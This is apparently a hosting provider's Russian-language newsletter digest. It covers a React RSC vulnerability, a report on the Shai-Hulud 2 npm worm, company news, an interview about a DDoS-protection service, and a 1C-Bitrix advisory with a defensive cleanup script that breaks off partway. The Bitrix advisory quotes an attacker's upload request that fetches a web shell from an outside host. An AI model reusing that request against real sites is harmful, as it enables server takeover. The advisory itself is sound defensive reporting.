В экспериментальных серверных компонентах React (RSC) была обнаружена критическая уязвимость CVE-2025-55182 с наивысшим уровнем опасности (10 из 10), позволявшая выполнить произвольный код на сервере. Она затрагивала пакеты react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack, а также фреймворки Next.js (отдельная уязвимость CVE-2025-66478) и React Router в экспериментальном режиме RSC. Стоит отметить, что эти компоненты используются относительно редко, поэтому большинство React-приложений не были уязвимы.
Уязвимость была вызвана небезопасной десериализацией данных в HTTP-запросах к серверным обработчикам. Атакующий мог отправить специально сформированный запрос, который позволял использовать свойства прототипа для выполнения команд ОС, JavaScript-кода или доступа к файловой системе. Для атаки не требовалась аутентификация. Исследователи подтвердили принцип эксплуатации и опубликовали рабочие эксплойты.
Чтобы устранить риск, необходимо обновить React до версий 19.0.1, 19.1.2 или 19.2.1, а Next.js — до 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.
www.opennet.ru/opennews/art.shtml?num=64373

Анализ атаки Shai-Hulud 2: отчёт компании Wiz
Компания Wiz опубликовала анализ деятельности червя Shai-Hulud 2. В ходе активности вредоноса злоумышленникам удалось опубликовать вредоносные версии более 800 пакетов, которые были загружены свыше 100 миллионов раз. После установки на машину разработчика такой пакет активирует червя, который начинает поиск конфиденциальных данных — токенов доступа, ключей и переменных окружения. Обнаружив токен для публикации в npm, червь использует его для выпуска новых вредоносных пакетов, самораспространяясь. Подробнее об атаке мы рассказывали здесь.
Самое важное из отчёта:
Червь создал на GitHub свыше 30 тысяч репозиториев с украденной информацией. В них чаще всего встречались файлы environment.json (80%), contents.json (70%) и truffleSecrets.json (50%), содержащие ключи доступа, пароли и переменные окружения с поражённых систем. Также было найдено около 400 файлов actionsSecrets.json с ключами от окружений GitHub Actions.
Анализ содержимого показал, что в файлах contents.json содержалось более 500 уникальных токенов доступа к GitHub. В truffleSecrets.json было выявлено свыше 400 тысяч уникальных записей, собранных утилитой TruffleHog (верифицировано около 2,5% из них). Большая часть данных остаётся актуальной: например, 60% из перехваченных токенов npm всё ещё действуют, что создаёт основу для новых атак.
Статистика по окружению показывает, что в 77% случаев червь запускался в средах непрерывной интеграции (CI), прежде всего в GitHub Actions (60%). На компьютерах разработчиков зафиксировано 23% запусков. В 87% инцидентов использовалась ОС Linux. Большинство запусков (76%) происходило в контейнерах.
Основными векторами заражения стали пакеты @postman/tunnel-agent-0.6.7 и @asyncapi/specs-6.8.3, на которые пришлось 60% всех инфицирований. В 99% случаев активация происходила через выполнение скрипта «node setup_bun.js», прописанного в секции preinstall файла package.json.
Напоминаем, как можно защитить свои системы:
просканировать все конечные точки на наличие заражённых пакетов и немедленно удалить их;обновить все учётные данные и проверить репозитории на наличие подозрительных файлов workflow, таких как shai-hulud-workflow.yml;внимательно следить за необычными ветками и действиями в .github/workflows для выявления скрытого заражения.www.opennet.ru/opennews/art.shtml?num=64377

Как мы работали в 2025 году
Пока готовили дайджест, оглянулись на прошедший год и захотелось поделиться с вами тем, что у нас получилось сделать.

2025 был годом развития: мы внедряли новые услуги, открывали новые локации и улучшали железо. Ниже — краткий обзор всех главных продуктовых обновлений.Запустили объектное хранилище S3 для больших объёмов данных (бэкапов, контента, логов и сайтов) с удобной панелью управления.Представили VDS c GPU на видеокартах NVIDIA RTX 4090, L4 и L40S — решение для ресурсоёмких задач: работы с нейросетями и машинным обучением, 3D-моделирования, рендеринга и обработки видео.Чтобы вы меньше волновались о работе своей инфраструктуры, запустили статус-панель: она позволяет следить за состоянием серверов в режиме реального времени. Если что-то упадёт, вы сможете сразу понять — это локальная неисправность или масштабный инцидент.А для защиты проектов от внешних угроз добавили BitNinja — комплексное решение от кибератак: SQL-инъекций, DDoS, спама и взлома.В 2025 география FirstVDS стала шире. Открыли новую локацию в Алматы: можно арендовать сервер в дата-центре Ahost.kz. А в Москве и Амстердаме апгрейднули железо: теперь серверы в тарифах Форсаж и Атлант открываются не только на AMD EPYC 9654, но и на новом серверном процессоре AMD EPYC 9655.
В маркетинге тоже не скучали. Вместе с вами мы провели десятки активностей и подготовили десятки материалов — делились опытом, помогали находить решения и вдохновляли на новые проекты.



Спасибо, что в 2025 году были с нами. Впереди — 2026, и у нас уже много идей. Давайте поддерживать контакт и поздравляем вас с наступающими праздниками!

Мы — облачное решение года

Стали лауреатом «Премии Рунета 2025» — главной национальной награды в сфере цифровых технологий.

В этот раз организаторы получили рекордные 900 заявок из 44 регионов по всей России.

На этапе отбора в итоговые 22 номинации попали лишь по 6 проектов, каждый из которых в финале отсматривало экспертное жюри.

Это престижная награда за вклад в развитие российского интернета, мы рады, что стали частью этой истории и попали в список сильнейших облачных решений.

premiaruneta.ru

Про УТП, зарождение проекта и свою нишу на рынке
Валерия Таруашвили, маркетолог ispmanager
Сергей, расскажите о проекте GreyWeb: как он зародился и в чём его УТП на высококонкурентном рынке хостинга?
Сергей, CEO GreyWeb
GreyWeb начинал свой путь как веб-студия, но со временем амбиции и растущая клиентская база привели нас к созданию собственного облачного решения. Изучив рынок, мы заметили, что большинство хостинг-провайдеров предлагают однотипные услуги без реальной гибкости. Поэтому мы сделали ставку на уникальный подход — разработали многофункциональный личный кабинет с единым балансом и возможностью выбора дата-центра для размещения серверов.
Такое решение обеспечивает клиентам максимальную свободу, устойчивость и оптимизацию затрат, делая их инфраструктуру по-настоящему защищённой и независимой.
Второе ноу-хау – собственное ПО для защиты от DDoS-атак. Мы не стали перепродавать готовые решения, а создали доступный аналог Cloudflare для стартапов с ограниченным бюджетом. Переход с Cloudflare занимает всего 5 минут: достаточно создать ЛК в GreyWeb, добавить домен, направить на A-запись, получить сертификат, и сайт проксируется через GreyWeb. Это решило проблему централизованности Cloudflare, санкций и потерю трафика для клиентов из РФ и СНГ, Многие клиенты переходят к нам для усиленной защиты, дополняя свои текущие SaaS-решения."
Говоря об УТП облачной платформы нельзя не отметить техническую поддержку опытных профессионалов, которая подобно горным шерпам знает все тропы и опасности в мире хостинга и предостерегает своих клиентов от возможных “ловушек” и неожиданных “лавин” из DDoS-атак, заранее готовя для них надёжное укрытие. Все тикеты клиентов разрешаются в индивидуальном порядке, а благодаря проактивному подходу время ожидания клиента сокращено до минимума. Помощь можно получить в формате 24/7, при этом у нас нет никакого ранжирования пользователей, все обслуживаются одинаково на высоком уровне, вне зависимости от того, к какому клиентскому сегменту принадлежат.
За гранью черного и белого: Философия названия GreyWeb
У вас очень интересное название. Есть ли в нём какая-либо отсылка к “серым зонам” в IT, хитростям, за счет которых вам удается предоставить столь продвинутый и конкурентоспособный сервис для пользователя?На самом деле, никакой скрытой метафоры в нашем названии нет, оно закрепилось ещё со времён веб-студии, и мы решили оставить его, как хорошо знакомое для нашей ЦА и прижившееся. Говоря другими словами, через название просматривается позиционирование себя, как “серой сети”, а серые IP-адреса, как известно, являются недоступными из интернета, а значит и надежно защищенными от прямых атак через DDoS или сканирование портов.
Через название просматривается позиционирование себя, как “серой сети”, а серые IP-адреса, как известно, являются недоступными из интернета, а значит и надежно защищенными от прямых атак через DDoS или сканирование портов.

Про целевую аудиторию
Кто ваша целевая аудитория на сегодняшний день? Как бы вы описали своих конечных клиентов?На самом деле, у нас очень обширная и плотная целевая аудитория! К числу наших пользователей можно отнести: игровые сообщества (создатели форумов и сайтов), online-предприниматели, медиа-сервисы, стриминговые платформы, EdTech-компании, интернет-магазины и т.д. По сути, клиентом компании GreyWeb может стать абсолютно любой человек, который хочет что-либо разместить в интернет-паутине.

DDoS-атака, изменившая всё: Как GreyWeb создал собственную защиту
Был ли некий «переломный момент», который привел к разработке вашей собственной DDoS-защиты?
Один из программистов GreyWeb
Мой путь в IT начался с работы «белого хакера». Я этично проникал в компьютерные системы и сети по заказу владельцев, чтобы выявлять их уязвимости и повышать безопасность. Именно тогда, глубоко изучая тактики злоумышленников, я, к сожалению, осознал, что существующие на рынке решения для защиты от DDoS, будут не способны полноценно обезопасить компании. Я видел огромные риски, которым подвергаются онлайн-проекты, и, что хуже всего, эти риски далеко не всегда осознаются их владельцами.
Весь процесс DDoS-защиты происходит абсолютно незаметно, в пассивном режиме, за счет таких невидимых методик, как поведенческий анализ, фильтрация по user-agent и скрытые проверки.
Последней каплей стала личная критическая DDoS-атака на один из моих собственных IT-проектов, последствия которой были по-настоящему разрушительными. Тогда я твердо решил: необходимо создать собственное, по-настоящему эффективное ноу-хау для защиты от DDoS-атак. Моей целью было разработать решение, которое способно выявлять и блокировать нелегитимный трафик на самых ранних стадиях, закрывая собой брешь в информационной защите на всех уровнях – сетевом, транспортном, уровне приложения – и быть на голову выше своих предшественников. И по сей день я постоянно работаю над его совершенствованием.
Одним из наших недавних и значимых достижений стала технология, позволяющая полностью обходить проверку браузера пользователя. То есть, даже если на сайт крупного проекта поступает атака, конечные пользователи никогда не будут сталкиваться с распознаванием CAPTCHA или любыми другими видимыми проверками. Весь процесс DDoS-защиты происходит абсолютно незаметно, в пассивном режиме, за счет таких невидимых методик, как поведенческий анализ, фильтрация по user-agent и скрытые проверки.
Мы убеждены, что CAPTCHA безнадежно устарела. С развитием ИИ и машинного обучения боты стали умнее и легко обходят её. Кроме того, CAPTCHA катастрофически ухудшает пользовательский опыт – посетителям приходится проходить «10 кругов ада» с нечеткими изображениями, что вызывает раздражение и негативно сказывается на маркетинге и продажах, ведь многие просто бросают эти тесты на полпути.
DDoS-защита без прикрас: Что скрывают недостатки существующих решений?
Можете поделиться своим мнением о существующих сегодня на рынке решениях по защите от DDoS-атак? Какие слабые стороны и несовершенства в них видите? Есть ли какой-то “секретный ингредиент” в вашей разработке, перекрывающий слабые места предшественников?

Один из программистов GreyWeb
Идеальной защиты не существует, любую можно обойти, но качественное анти-DDoS решение увеличивает стоимость взлома web-ресурсов в десятки и сотни раз. Важно понимать, что помимо самой защиты, критична оптимизация сайта и достаточная мощность облачных ресурсов. Слабый сервер не спасёт даже самая продвинутая защита.
Я долго изучал и тестировал существующие анти-DDoS решения. Они не успевают эволюционировать за быстрыми и изощренными методами хакеров.
Растущая мощность ботнетов перегружает даже мощные системы
Сложные атаки на уровне приложений (Layer 7) требуют более глубокого анализа
Архитектурные ограничения, включая единые точки отказа, делают защиту уязвимой
Что же делает нашу технологию уникальной? Во-первых, это reverse-proxy. Он выступает «прослойкой» и строгим «фейс-контролем» между внешним миром и внутренними ресурсами, фильтруя и обрабатывая входящий трафик для безопасности и повышения производительности.
Во-вторых, наш бот-менеджмент классифицирует входящие запросы по 3 уровням: бот, автоматизация и человек. Это позволяет нам точно выявлять аномалии и временно блокировать соответствующий класс запросов, при этом полностью сохраняя доступность сайта для обычных пользователей – они ничего не замечают. Все запросы сохраняются и архивируются.
Сохранение и архивация истории всех запросов позволяет нам строить достоверную аналитику и метрики для клиентов, представлять отчетность и даже прогнозировать будущие риски на основе ретроспективных данных.
Для повышения точности мы разрабатываем технологию «отпечатков пальцев» (fingerprinting), позволяющую создавать уникальные идентификаторы для каждого клиента и отличать легитимных пользователей от замаскированных ботов. «Отпечаток» собирается из JavaScript данных: версии браузера, ОС, плагинов, оборудования, HTTP-заголовков, user-agent, часового пояса, языковых настроек и разрешения экрана. Все эти атрибуты хешируются в уникальную строку фиксированной длины, идентифицирующую браузер и устройство.
В GreyWeb доступны типы «отпечатков»: JA4, HTTP/2 fingerprint, «отпечаток пальцев» header, TCP-отпечаток. Также предлагается кастомная настройка firewall, WAF и редиректов.
Функционально, наше ПО схоже с Cloudflare, но доступнее: подключение от 450 руб. (базовый набор инструментов: proxy, обход с геолокацией, техподдержка), тогда как тарифы на рынке РФ начинаются от 8 000 руб. Мы стремимся сделать качественную защиту доступной всем, даже начинающим предпринимателям.
У нас есть и бизнес тарифы и лайт, мы хотим защищать всех.
Магия интеграции: Как GreyWeb защищает сайты без делегирования NS-серверов?
Вы упомянули, что владеете технологией удалённой защиты сайтов без делегирования NS-серверов*. Какая технология лежит в основе этого ноу-хау?

Сергей

По сути, это очень удобно, не нужно прибегать к лишним действиям. На схеме ниже представлена логика работы защиты сайта от GreyWeb, наш защищенный IP-адрес изобличает атакующих ботов в числе прочих запросов при помощи proxy-технологии и других методик. Благодаря этому щиту до ресурсов веб-сервера компании могут добраться лишь пользователи и легитимные боты (по типу яндекс метрики и яндекс веб-мастера, которые связаны с поисковиками).
Один из программистов GreyWeb
Подключение сайта начинается с А-записи или CNAME-записи. CNAME обеспечивает дополнительную устойчивость: даже при сбоях в нашем дата-центре (которые устраняются за 5 минут) она гарантирует работоспособность веб-сайта.
Как работает наша технология защиты: входящий запрос сначала поступает в edge-слой, где проверяется на легитимность и может быть перехвачен, если это поисковый бот. Далее запрос отправляется в origin-слой, где работает наш оптимизированный reverse-proxy. Он принимает запрос, перенаправляет его на конечный сервер пользователя, улавливает ответ и возвращает его обратно.
Также в edge-слое происходит кеширование для ускорения загрузки статических страниц. Динамические страницы всегда загружаются напрямую с веб-серверов клиента.
DDoS-защита в разрезе: На каких уровнях GreyWeb отражает атаки?
На каких уровнях сервера ваше решение способно эффективно отражать DDoS-атаки? Есть ли какие-либо ограничения по объёму или сложности атак?

Один из программистов GreyWeb
Я специализируюсь на защите L7 (прикладного уровня), поскольку L4-защитой занимается наш провайдер. Наша задача – сканировать трафик на предмет ботов и потенциальных атак. Существует два основных метода L7-атак: флудеры и браузерные эмуляции.
Флудеры легко блокируются, так как используют предсказуемые шаблоны в HTTP-запросах (например, специфические User-Agent, повторяющиеся параметры). Наш настроенный WAF отбивает их без особых затрат.
Гораздо сложнее браузерные эмуляции. Это наиболее опасный тип атак, имитирующий поведение реального человека: они заходят на сайт, парсят cookie, обходят CAPTCHA, выполняя JavaScript и корректно формируя HTTP-заголовки, получая статус 200. Однако даже с такими атаками наша технология справляется, выявляя их при помощи средств против автоматизации CDP.
Когда речь идёт о массивных DDoS-атаках с сотен тысяч IP-адресов и сотен серверов, один слабый сервер не справится. В таких случаях мы используем sensor-mod, который смягчает атаки, собирая, анализируя данные и принимая решения на основе оценки рисков.
В целом, благодаря нашим проактивным и современным технологиям, мы превосходим другие решения.
География больше не преграда: Секретные механизмы GreyWeb для обхода блокировок
Как ваше решение обходит гео-проблемы с недоступностью сайтов, какие механизмы для этого используете?

Сергей
Здесь нет каких-то особых хитростей, просто мы используем белый IP-адрес, который не находится под санкциями со стороны какого-либо государства. И в случае, даже если появятся какие-либо новые санкции на фоне геополитической обстановки, то мы можем добавить другой IP-адрес, и это никак не повлияет на качество работы сайтов наших пользователей. Иными словами, у нас нет общей ASN, которую можно заблокировать, в этом плане мы независимы и стоим особняком.
Тайная страсть GreyWeb: Признаемся в любви к ispmanager!
Почему свой выбор остановили на панели ispmanager? Чем вам так нравится наше решение?

Сергей
Я начал свой путь в веб-разработке с версий ispmanager 4 и 5, когда ispmanager ещё был частью ISPsystem. Тогда техническая поддержка была на высоком уровне, как и сейчас. Именно поэтому я выбрал долгосрочное сотрудничество с вашей компанией. К тому же, тёмная тема интерфейса ispmanager органично встраивается в дизайн нашего сайта и личного кабинета. Наши клиенты воспринимают VDS/VPS-сервер и встроенную панель управления как единое целое, что важно для позиционирования на российском и зарубежном рынках.
Настройка DDoS-защиты из панели управления: Возможности интеграции GreyWeb и ispmanager
Какие конкретные действия доступны вашим пользователям из панели управления ispmanager по настройке защиты от DDoS-атак, благодаря имеющейся интеграции?

Сергей
Любой человек, который управляет сайтами через ispmanager, может подключить свои домены в панели управления GreyWeb через А запись и защищать их. Все это можно настроить за 5 минут. Тем самым, сайт будет продолжать работать без перебоев и получать трафик с любой точки планеты, не подвергаясь гео блоку.
Идеальная пара: Какие условия нужны для бесперебойной работы GreyWeb и ispmanager?
Есть ли какие-либо ограничения или технические требования к версии панели ispmanager по ОС сервера или конфигурации хостинга для полноценной работы вашей интеграции?

Сергей
Нет, никаких ограничений абсолютно нет, нет никакой разницы, на какой панели поднят сайт, главное, чтобы был доступен в сети интернет. Когда клиент покупает защиту, он видит анализ трафика в моменте с интервалом в 1 час. То есть если в течение 1-го часа были какие-либо атаки, то пользователь увидит их в виде заблокированных запросов (анализ трафика представлен на картинке).
Мощный дуэт: Измеримые выгоды GreyWeb Cloud и ispmanager для вашего бизнеса
Какие измеримые преимущества получают ваши конечные клиенты, которые используют ваше облако вкупе с панелью ispmanager?

Использование облачной инфраструктуры совместно с панелью ispmanager предоставляет клиенту ряд значительных преимуществ, сочетая гибкость и масштабируемость облака с удобством и простотой администрирования, которое предоставляет ispmanager.
К основным УТП тандема GreyWeb и ispmanager можно отнести:
Централизованное управление из единого интерфейса (веб-сайты, домены, почтовые ящики, базы данных и т.д.)Автоматизация рутинных задач (мгновенное развертывание сайтов на CMS, настройка почты, бэкапирование и восстановление), по итогу выходит экономия времени и снижается вероятность ошибок
Интуитивно понятный интерфейс, который позволяет пользователям с первых дней эффективно управлять сервером и его окружением, даже с минимальным техническим бэкграундом.Использование облачной инфраструктуры совместно с панелью ispmanager предоставляет клиенту ряд значительных преимуществ, сочетая гибкость и масштабируемость облака с удобством и простотой администрирования, которое предоставляет ispmanager.
На пути к лидерству: Как GreyWeb планирует завоевать рынок?
Какие у вас планы на будущее? Может быть готовите какие-либо новые фичи, которые помогут вам завоевать еще большую долю рынка?

Наша глобальная цель — сделать защиту ещё эффективнее и доступнее широкому сегменту. Сейчас мы внедряем искусственный интеллект (ML) в наше анти-DDoS ПО, чтобы анализ трафика и детекция опасностей стали мощнее и быстрее. Мы также хотим, чтобы современная «начинка» отражалась в пользовательском интерфейсе. Кроме того, мы стремимся предоставлять равные условия пользователям по всему миру, без геополитических фильтров. Все наши тарифы фиксированы, и завышать цены мы не планируем.
greyweb.cloud

Все серверы, расположенные в euNetworks, перенесены в новый дата-центр Qupra DC2 в Амстердаме. Услуги работают штатно, стоимость аренды не изменилась.

Открываем новую площадку в Амстердаме — Qupra DC2.

Qupra — надёжный оператор с 30-летним опытом работы. ЦОД спроектирован в соответствии с высокими стандартами безопасности, оснащён резервированными системами электроснабжения и кондиционирования. Подробнее о преимуществах новой площадки рассказали здесь.

Все серверы, расположенные в euNetworks, перенесли в новый дата-центр. Миграция прошла бесшовно: стоимость аренды серверов не изменилась, а все услуги работают в штатном режиме.

https://firstvds.ru

За последнюю неделю наша техническая поддержка фиксирует участившиеся попытки несанкционированно регистрировать новых пользователей через демо-компоненты 1С-Битрикс.

Что такое «демо-компоненты». Это тестовый набор информации (пользователи, товары, статьи), который система устанавливает «из коробки», чтобы сразу показать свои возможности. Вендор требует удалять все установочные и демо-компоненты, внимательно настраивать опции самостоятельной регистрации пользователей при запуске реального сайта.

Впервые о проблеме заговорили более двух лет назад. Некорректная настройка системы позволяет злоумышленнику зарегистрироваться на сайте под видом обычного пользователя, даже если администратор полностью отключил публичную регистрацию в настройках. Это происходит из-за неудаленной демо-формы с возможностью самостоятельной регистрации пользователя.

Если в вашей админ-панели постоянно добавляются пользователи с логином bitrixsupport_, возможно, ваш проект настроен неправильно.

Как это работает
Злоумышленник пользуется тем, что администратор не отключил самостоятельную регистрацию пользователей. Он создаёт фейковые учётные записи с именами, начинающимися на bitrixsupport_, чтобы маскировать их под технические. А затем использует их для создания избыточной нагрузки. Проблема временно устраняется только после полной перезагрузки сервера или веб-сервера.

После успешной регистрации пользователи bitrixsupport_ выполняют запросы вида:
POST /bitrix/tools/landing/ajax.php?action=Site::uploadFile
с нагрузкой
data[picture]=http://sql.bling.org/bx/<ваш_домен>.<ru>_xx/.description.php
в попытке загрузить php-шелл на сервер.

Нам попадались случаи, где такой запрос провоцировал DOS, но это не приводило к загрузке веб-шелла.

Попытка выполнения запроса от пользователя без регистрации приводит к ошибке «Недостаточно прав», и такое соединение сразу же закрывается в отличие от запросов пользователей bitrixsupport_.

DOS-атака может задевать apache веб-сервер, тогда сайт начинает отдавать 504 ошибку (Gateway Timeout) или MySQL начинает отдавать ошибку Error 1040: Too Many Connections.

Что нужно сделать
Удалите ненужных пользователей с префиксом bitrixsupport_.
Запомните: «1С-Битрикс» никогда не создает на ваших сайтах или в Битрикс24 неизвестные учётные записи. Такие аккаунты могут появиться только по вашей инициативе или в результате действий злоумышленника.

Как удалить. Перейдите в административную панель 1С-Битрикс по адресу:

/bitrix/admin/user_admin.php

Найдите и удалите всех пользователей с префиксом bitrixsupport_— это не системные аккаунты, они не нужны и небезопасны.

Обновите 1С-Битрикс до последней версии.
Выполните перезапуск сервера или веб-сервера Apache/Nginx, чтобы очистить соединения и завершить сессии.
Для дополнительной безопасности ограничьте доступ к формам регистрации.
Для автоматизации администратор может использовать скрипт, который сделает всё автоматически.
#!/bin/bash # Bitrix Reg Security Fix v.0.0.5 beta - защита от уязвимости регистрации # 1. .htaccess - блокирует регистрацию пользовталей в ядре 1С Битрикс через демо-скрипты Bitrix # 2. MySQL - удаляет пользователей bitrixsupport_* с подтверждением # 3. nginx - блокирует все ?register=yes запросы с подтверждением # может сломать некоторые скрипты на сайте # перед использованием нужно проконсультироваться с разработчиком # # Автоматически определяет Bitrix Env, Docker, ISP Manager, проверяет nginx синтаксис до и после правок # Применение скрипта на свой страх и риск # # Дебаг # set -x -v red="$(tput setaf 1)$(tput bold)" green="$(tput setaf 2)$(tput bold)" reset="$(tput sgr0)" # show script version self_current_version="Bitrix Reg Security Fix v.0.0.5 beta" printf "\n${green}$self_current_version\n${reset}" # check privileges if [[ $EUID -ne 0 ]]; then printf "\n${red}ERROR${reset} - This script must be run as root" exit 1 fi # one instance run lock LOCKFILE=/tmp/bitrix_reg_fix.lock exec 9>$LOCKFILE if ! flock -n 9; then echo if command -v lsof >/dev/null 2>&1; then PID=$(lsof -t "$LOCKFILE" 2>/dev/null | grep -v "^$$\$" | head -n1) printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID" elif command -v fuser >/dev/null 2>&1; then PID=$(fuser "$LOCKFILE" 2>/dev/null | tr ' ' '\n' | grep -v "^$$\$" | head -n1) printf "%s is ${red}already locked${reset} by PID %s\n\n" "$LOCKFILE" "$PID" else printf "%s ${red}already exists${reset}\n\nInstall 'lsof -t' or 'fuser' to see the PID.\n" "$LOCKFILE" fi exit 1 fi trap 'exec 9>&-; rm -f "$LOCKFILE"' EXIT bitrix_fix_reg_paths () { echo if ! command -v nginx &> /dev/null; then echo "${red}ERROR.${reset} Nginx was not found" return 1 fi echo "${green}Checking nginx paths${reset}" && echo htaccess_directives=("Order allow,deny" "Deny from all") # Define relative paths to check/create .htaccess files rel_paths=(bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess \ bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess \ bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess \ bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess \ install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess \ install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess) # Find all nginx root directives (standard root) mapfile -t roots < <(grep -RhoP '^\s*root\s+"?\K[^";]+' /etc/nginx | tr -d '"' | sort -u) # Find all nginx root_path directives (set $root_path) mapfile -t root_paths < <(grep -RiIn "root_path " /etc/nginx | grep -oP 'set \$\w+\s+\K[^;]+' | tr -d ';' | tr -d '"' | sort -u) # Combine both types of paths all_paths=("${roots[@]}" "${root_paths[@]}") # Remove duplicates while preserving order declare -A seen unique_paths=() for path in "${all_paths[@]}"; do if [[ ! "${seen[$path]}" ]]; then seen["$path"]=1 unique_paths+=("$path") fi done targets=() for root in "${unique_paths[@]}" do # Clean up path (remove trailing spaces/special characters) root=$(echo "$root" | xargs) for rel in "${rel_paths[@]}" do f="$root/$rel" d="$(dirname "$f")" # Check if directory exists if [ -d "$d" ]; then if [ -f "$f" ]; then all_directives_exist=true for directive in "${htaccess_directives[@]}"; do if ! grep -q "^[[:space:]]*$directive" "$f"; then all_directives_exist=false break fi done if [ "$all_directives_exist" = false ]; then printf '[DRY-RUN] would update: %s %s(file exists and will be updated)%s\n' "$f" "$green" "$reset" targets+=("$f") fi else printf '[DRY-RUN] would create: %s %s(not exist, will be created)%s\n' "$f" "$green" "$reset" targets+=("$f") fi fi done done [ "${#targets[@]}" -ne 0 ] && { printf '\nApply changes? [Y/n]: ' read -r ans case "${ans:-Y}" in Y | y) for f in "${targets[@]}" do if [ -f "$f" ]; then temp_file="$(mktemp)" printf "Order allow,deny\nDeny from all\n\n" > "$temp_file" \cat "$f" >> "$temp_file" temp_result="$(mktemp)" \head -n 2 "$temp_file" > "$temp_result" \tail -n +3 "$temp_file" | \ \grep -v "^[[:space:]]*Order allow,deny$" | \ \grep -v "^[[:space:]]*Deny from all$" >> "$temp_result" \mv -f "$temp_result" "$f" \rm -f "$temp_file" printf '[OK] updated: %s\n' "$f" else mkdir -p "$(dirname "$f")" printf "Order allow,deny\nDeny from all\n\n" > "$f" printf '[OK] created: %s\n' "$f" fi done ;; *) printf 'Aborted\n' ;; esac } || printf "${green}No Bitrix paths found in nginx that need updating${reset}\n" } mysql_all_db_del_bitrixsupport () { echo found_any=0 mysql_accessible=0 check_mysql_connection() { local container_id="$1" if [[ -n "$container_id" ]]; then docker exec "$container_id" mysql -e "SELECT 1;" &>/dev/null else mysql -e "SELECT 1;" &>/dev/null fi } process_deletion_confirm() { local db="$1" local container_id="$2" local container_image="$3" echo -e "${red}Found bitrixsupport_% users${reset}\nDatabase: $db\nContainer: ${container_image:-local} (${container_id:-host})\n" if [[ -n "$container_id" ]]; then docker exec "$container_id" mysql -e \ "USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null else mysql -e \ "USE $db; SELECT ID,LOGIN,DATE_REGISTER FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" | column -t 2>/dev/null fi echo read -r -p "Delete these users from $db? [Y/n] " yn </dev/tty yn=${yn:-Y} if [[ "$yn" =~ ^[Yy]$ ]]; then if [[ -n "$container_id" ]]; then docker exec "$container_id" mysql -N -e \ "USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null else mysql -N -e \ "USE $db; DELETE FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null fi if [[ -n "$container_id" ]]; then remaining=$(docker exec "$container_id" mysql -N -e \ "USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null) else remaining=$(mysql -N -e \ "USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null) fi if [[ "$remaining" -eq 0 ]]; then echo -e "${green}No remaining bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})${reset}" echo else echo -e "${red}Users still exist in $db${reset}" echo fi else echo "Skipping deletion for bitrixsupport_% users in ${container_image:-local} $db (${container_id:-host})" echo fi } # Docker MySQL if command -v docker &>/dev/null; then while read -r id image; do echo "$image" | grep -qiE 'percona|mysql|mariadb' || continue check_mysql_connection "$id" || { echo "${red}ERROR.${reset} Cannot connect to MySQL in container $image ($id)" continue } mysql_accessible=1 dbs=$(docker exec "$id" mysql -N -e "SHOW DATABASES" 2>/dev/null | \ grep -Ev '^(information_schema|performance_schema|mysql|sys)') while read -r db; do [[ -z "$db" ]] && continue docker exec "$id" mysql -N -e \ "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue users=$(docker exec "$id" mysql -N -e \ "USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null) if [[ "$users" -gt 0 ]]; then found_any=1 process_deletion_confirm "$db" "$id" "$image" fi done <<< "$dbs" done < <(docker ps --format '{{.ID}} {{.Image}}') fi # Local MySQL if command -v mysql &>/dev/null; then check_mysql_connection "" || { echo "${red}ERROR.${reset} Cannot connect to local MySQL" return } mysql_accessible=1 dbs=$(mysql -N -e "SHOW DATABASES" 2>/dev/null | \ grep -Ev '^(information_schema|performance_schema|mysql|sys)') while read -r db; do [[ -z "$db" ]] && continue mysql -N -e "USE $db; SHOW TABLES LIKE 'b_user';" 2>/dev/null | grep -q b_user || continue users=$(mysql -N -e \ "USE $db; SELECT COUNT(*) FROM b_user WHERE LOGIN LIKE 'bitrixsupport_%';" 2>/dev/null) if [[ "$users" -gt 0 ]]; then found_any=1 process_deletion_confirm "$db" "" "" fi done <<< "$dbs" fi [[ $found_any -eq 0 && $mysql_accessible -eq 1 ]] && \ echo -e "${green}Users like bitrixsupport_% were not found in any MySQL DBs${reset}" } block_all_register_in_nginx () { echo CONF_FILE="/etc/nginx/bx/conf/bitrix.conf" DENY_CODE='# Deny 1C site user registration \nif ($arg_register = "yes") {\n return 403;\n}\n' MGR_BIN="/usr/local/mgr5/sbin/mgrctl" function check_nginx () { nginx -t &> /dev/null } function apply_fix () { local target_file="$1" config_type="$2" # Check if fix already applied grep -Eq '^[[:space:]]*if[[:space:]]*\(\$arg_register[[:space:]]*=[[:space:]]*"yes"\)' "$target_file" 2> /dev/null && { echo "${green}\"?register=yes\" URL arguments already blocked in $target_file${reset}" return 0 } echo "${red}DANGEROUS. Check with the developer first${reset}" read -rp "Block all \"?register=yes\" URL arguments globally in nginx? [y/N]: " answer answer=${answer:-N} [[ ! "$answer" =~ ^[Yy]$ ]] && return 1 if [[ "$config_type" == "direct" ]] then # Direct modification of nginx config check_nginx || { echo "${red}nginx -t failed before fix${reset}" return 1 } \cp -f "$target_file" "$target_file.bak" echo -e "$DENY_CODE" > "$target_file.tmp" cat "$target_file.bak" >> "$target_file.tmp" \mv -f "$target_file.tmp" "$target_file" else # Create include file for ISP Manager echo -e "$DENY_CODE" > "$target_file" fi if check_nginx && systemctl restart nginx then echo -e "${green}All \"?register=yes\" URL arguments successfully blocked in 